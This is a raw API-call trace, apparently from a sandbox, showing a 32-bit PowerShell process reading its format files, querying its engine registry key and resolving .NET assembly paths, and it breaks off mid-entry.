[0057.729] SetErrorMode (uMode=0x1) returned 0x1 [0057.729] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x25e628 | out: lpFileInformation=0x25e628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1ce956, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1ce956, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd372551c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0057.729] GetLastError () returned 0xcb [0057.729] SetErrorMode (uMode=0x1) returned 0x1 [0057.730] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x391da8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.730] GetLastError () returned 0xcb [0057.738] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x25df3c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.738] GetLastError () returned 0xcb [0057.738] SetErrorMode (uMode=0x1) returned 0x1 [0057.738] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0057.738] GetLastError () returned 0x0 [0057.738] GetFileType (hFile=0x32c) returned 0x1 [0057.739] SetErrorMode (uMode=0x1) returned 0x1 [0057.739] GetFileType (hFile=0x32c) returned 0x1 [0057.739] ReadFile (in: hFile=0x32c, lpBuffer=0x2e8fd30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2e8fd30*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.740] GetLastError () returned 0x0 [0057.743] ReadFile (in: hFile=0x32c, lpBuffer=0x2e8fd30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2e8fd30*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.743] GetLastError () returned 0x0 [0057.743] ReadFile (in: hFile=0x32c, lpBuffer=0x2e8fd30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2e8fd30*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.743] GetLastError () returned 0x0 [0057.743] ReadFile (in: hFile=0x32c, lpBuffer=0x2e8fd30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2e8fd30*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.743] GetLastError () returned 0x0 [0057.744] ReadFile (in: hFile=0x32c, lpBuffer=0x2e8fd30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2e8fd30*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.744] GetLastError () returned 0x0 [0057.744] ReadFile (in: hFile=0x32c, lpBuffer=0x2e8fd30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2e8fd30*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.744] GetLastError () returned 0x0 [0057.744] ReadFile (in: hFile=0x32c, lpBuffer=0x2e8fd30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2e8fd30*, lpNumberOfBytesRead=0x25e4a4*=0x9e2, lpOverlapped=0x0) returned 1 [0057.744] GetLastError () returned 0x0 [0057.744] ReadFile (in: hFile=0x32c, lpBuffer=0x2e8f2b2, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2e8f2b2*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0057.744] GetLastError () returned 0x0 [0057.744] ReadFile (in: hFile=0x32c, lpBuffer=0x2e8fd30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2e8fd30*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0057.744] GetLastError () returned 0x0 [0057.745] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x25e004, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.745] GetLastError () returned 0x0 [0057.745] SetErrorMode (uMode=0x1) returned 0x1 [0057.745] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ea0dec | out: lpFileInformation=0x2ea0dec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a02ba41, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a02ba41, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e5e3fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0057.745] GetLastError () returned 0x0 [0057.745] SetErrorMode (uMode=0x1) returned 0x1 [0057.745] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x25dfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.745] GetLastError () returned 0x0 [0057.745] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e428 | out: phkResult=0x25e428*=0x32c) returned 0x0 [0057.745] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x0, lpcbData=0x25e46c*=0x0 | out: lpType=0x25e470*=0x1, lpData=0x0, lpcbData=0x25e46c*=0x56) returned 0x0 [0057.745] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x391da8, lpcbData=0x25e46c*=0x56 | out: lpType=0x25e470*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x25e46c*=0x56) returned 0x0 [0057.745] RegCloseKey (hKey=0x32c) returned 0x0 [0057.745] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x25dfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.746] GetLastError () returned 0x0 [0057.746] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0x25df64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.746] GetLastError () returned 0x0 [0057.766] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xc2432e2d, Data2=0x9e26, Data3=0x4f88, Data4=([0]=0x83, [1]=0x52, [2]=0xd9, [3]=0xd1, [4]=0x74, [5]=0xa6, [6]=0x6e, [7]=0xdf))) returned 0x0 [0057.781] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x2f160d39, Data2=0xc0ee, Data3=0x4700, Data4=([0]=0xb0, [1]=0xf7, [2]=0xd5, [3]=0x20, [4]=0x86, [5]=0x3d, [6]=0xb6, [7]=0xc1))) returned 0x0 [0057.782] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25df3c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0057.782] GetLastError () returned 0x0 [0057.782] SetErrorMode (uMode=0x1) returned 0x1 [0057.782] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0057.782] GetLastError () returned 0x0 [0057.782] GetFileType (hFile=0x32c) returned 0x1 [0057.782] SetErrorMode (uMode=0x1) returned 0x1 [0057.783] GetFileType (hFile=0x32c) returned 0x1 [0057.783] ReadFile (in: hFile=0x32c, lpBuffer=0x2eb40d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2eb40d4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.784] GetLastError () returned 0x0 [0057.785] ReadFile (in: hFile=0x32c, lpBuffer=0x2eb40d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2eb40d4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.785] GetLastError () returned 0x0 [0057.785] ReadFile (in: hFile=0x32c, lpBuffer=0x2eb40d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2eb40d4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.785] GetLastError () returned 0x0 [0057.786] ReadFile (in: hFile=0x32c, lpBuffer=0x2eb40d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2eb40d4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.786] GetLastError () returned 0x0 [0057.786] ReadFile (in: hFile=0x32c, lpBuffer=0x2eb40d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2eb40d4*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.786] GetLastError () returned 0x0 [0057.787] ReadFile (in: hFile=0x32c, lpBuffer=0x2eb40d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2eb40d4*, lpNumberOfBytesRead=0x25e4a4*=0xfb2, lpOverlapped=0x0) returned 1 [0057.787] GetLastError () returned 0x0 [0057.787] ReadFile (in: hFile=0x32c, lpBuffer=0x2eb3826, nNumberOfBytesToRead=0x4e, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2eb3826*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0057.787] GetLastError () returned 0x0 [0057.787] ReadFile (in: hFile=0x32c, lpBuffer=0x2eb40d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2eb40d4*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0057.787] GetLastError () returned 0x0 [0057.787] CloseHandle (hObject=0x32c) returned 1 [0057.787] GetLastError () returned 0x0 [0057.787] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25e004, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0057.787] GetLastError () returned 0x0 [0057.787] SetErrorMode (uMode=0x1) returned 0x1 [0057.787] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\wsman.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ed4964 | out: lpFileInformation=0x2ed4964*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1f4ab5, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1f4ab5, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd374b67c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x5fb2)) returned 1 [0057.787] GetLastError () returned 0x0 [0057.788] SetErrorMode (uMode=0x1) returned 0x1 [0057.788] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25dfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0057.788] GetLastError () returned 0x0 [0057.788] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e428 | out: phkResult=0x25e428*=0x32c) returned 0x0 [0057.788] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x0, lpcbData=0x25e46c*=0x0 | out: lpType=0x25e470*=0x1, lpData=0x0, lpcbData=0x25e46c*=0x56) returned 0x0 [0057.788] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x391da8, lpcbData=0x25e46c*=0x56 | out: lpType=0x25e470*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x25e46c*=0x56) returned 0x0 [0057.788] RegCloseKey (hKey=0x32c) returned 0x0 [0057.788] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25dfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0057.788] GetLastError () returned 0x0 [0057.789] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25df64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\WSMan.format.ps1xml", lpFilePart=0x0) returned 0x3e [0057.789] GetLastError () returned 0x0 [0057.790] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x9068f440, Data2=0xed2e, Data3=0x496b, Data4=([0]=0x8d, [1]=0xa1, [2]=0x9a, [3]=0xa1, [4]=0xe5, [5]=0x1c, [6]=0x6f, [7]=0x8b))) returned 0x0 [0057.797] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x62d5f2f8, Data2=0xf31f, Data3=0x4f82, Data4=([0]=0xbb, [1]=0x4e, [2]=0xa2, [3]=0x86, [4]=0xc5, [5]=0xaf, [6]=0xe, [7]=0x94))) returned 0x0 [0057.802] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x5a5ad4d9, Data2=0x2e92, Data3=0x498c, Data4=([0]=0xaf, [1]=0x26, [2]=0xad, [3]=0xb1, [4]=0x9b, [5]=0x3, [6]=0xa3, [7]=0x64))) returned 0x0 [0057.803] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xf5fba3c7, Data2=0x74f3, Data3=0x413d, Data4=([0]=0xb7, [1]=0x4c, [2]=0xec, [3]=0xbd, [4]=0xce, [5]=0xa5, [6]=0xc, [7]=0xfd))) returned 0x0 [0057.803] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0xe95a14ed, Data2=0x701b, Data3=0x4c53, Data4=([0]=0x96, [1]=0x54, [2]=0x55, [3]=0xf9, [4]=0xd7, [5]=0x5, [6]=0x5f, [7]=0x39))) returned 0x0 [0057.803] CoCreateGuid (in: pguid=0x25e498 | out: pguid=0x25e498*(Data1=0x45cc1b72, Data2=0xde4b, Data3=0x4968, Data4=([0]=0xa6, [1]=0xbe, [2]=0x3e, [3]=0xcf, [4]=0x64, [5]=0x55, [6]=0xd6, [7]=0x64))) returned 0x0 [0057.803] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25df3c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.803] GetLastError () returned 0x0 [0057.803] SetErrorMode (uMode=0x1) returned 0x1 [0057.803] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x32c [0057.804] GetLastError () returned 0x0 [0057.804] GetFileType (hFile=0x32c) returned 0x1 [0057.804] SetErrorMode (uMode=0x1) returned 0x1 [0057.804] GetFileType (hFile=0x32c) returned 0x1 [0057.804] ReadFile (in: hFile=0x32c, lpBuffer=0x2ef430c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2ef430c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.821] GetLastError () returned 0x0 [0057.823] ReadFile (in: hFile=0x32c, lpBuffer=0x2ef430c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2ef430c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.823] GetLastError () returned 0x0 [0057.824] ReadFile (in: hFile=0x32c, lpBuffer=0x2ef430c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2ef430c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.824] GetLastError () returned 0x0 [0057.824] ReadFile (in: hFile=0x32c, lpBuffer=0x2ef430c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2ef430c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.824] GetLastError () returned 0x0 [0057.825] ReadFile (in: hFile=0x32c, lpBuffer=0x2ef430c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2ef430c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.825] GetLastError () returned 0x0 [0057.825] ReadFile (in: hFile=0x32c, lpBuffer=0x2ef430c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2ef430c*, lpNumberOfBytesRead=0x25e4a4*=0x1000, lpOverlapped=0x0) returned 1 [0057.825] GetLastError () returned 0x0 [0057.825] ReadFile (in: hFile=0x32c, lpBuffer=0x2ef430c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2ef430c*, lpNumberOfBytesRead=0x25e4a4*=0xaca, lpOverlapped=0x0) returned 1 [0057.825] GetLastError () returned 0x0 [0057.825] ReadFile (in: hFile=0x32c, lpBuffer=0x2ef3976, nNumberOfBytesToRead=0x136, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2ef3976*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0057.825] GetLastError () returned 0x0 [0057.825] ReadFile (in: hFile=0x32c, lpBuffer=0x2ef430c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25e4a4, lpOverlapped=0x0 | out: lpBuffer=0x2ef430c*, lpNumberOfBytesRead=0x25e4a4*=0x0, lpOverlapped=0x0) returned 1 [0057.825] GetLastError () returned 0x0 [0057.825] CloseHandle (hObject=0x32c) returned 1 [0057.825] GetLastError () returned 0x0 [0057.825] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25e004, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.826] GetLastError () returned 0x0 [0057.826] SetErrorMode (uMode=0x1) returned 0x1 [0057.826] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\certificate.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2f15308 | out: lpFileInformation=0x2f15308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a051ba0, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a051ba0, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2d2d8fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6aca)) returned 1 [0057.826] GetLastError () returned 0x0 [0057.826] SetErrorMode (uMode=0x1) returned 0x1 [0057.827] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25dfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.827] GetLastError () returned 0x0 [0057.827] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x25e428 | out: phkResult=0x25e428*=0x32c) returned 0x0 [0057.827] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x0, lpcbData=0x25e46c*=0x0 | out: lpType=0x25e470*=0x1, lpData=0x0, lpcbData=0x25e46c*=0x56) returned 0x0 [0057.827] RegQueryValueExW (in: hKey=0x32c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x25e470, lpData=0x391da8, lpcbData=0x25e46c*=0x56 | out: lpType=0x25e470*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x25e46c*=0x56) returned 0x0 [0057.828] RegCloseKey (hKey=0x32c) returned 0x0 [0057.828] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25dfd0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.828] GetLastError () returned 0x0 [0057.828] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", nBufferLength=0x105, lpBuffer=0x25df64, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml", lpFilePart=0x0) returned 0x44 [0057.828] GetLastError () returned 0x0 [0057.847] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\mscorlib.dll", lpFilePart=0x0) returned 0x3a [0057.847] GetLastError () returned 0x0 [0057.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0057.850] GetLastError () returned 0x57 [0057.860] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System\\2.0.0.0__b77a5c561934e089\\System.dll", lpFilePart=0x0) returned 0x48 [0057.860] GetLastError () returned 0x57 [0057.862] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0057.862] GetLastError () returned 0x57 [0057.864] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0057.864] GetLastError () returned 0x57 [0057.865] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll", lpFilePart=0x0) returned 0x52 [0057.865] GetLastError () returned 0x57 [0057.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", nBufferLength=0x105, lpBuffer=0x25dc94, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Configuration.Install\\2.0.0.0__b03f5f7f11d50a3a\\System.Configuration.Install.dll", lpFilePart=0x0) returned 0x74 [0057.868] GetLastError () returned 0x57 [0057.869] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x25dc94, 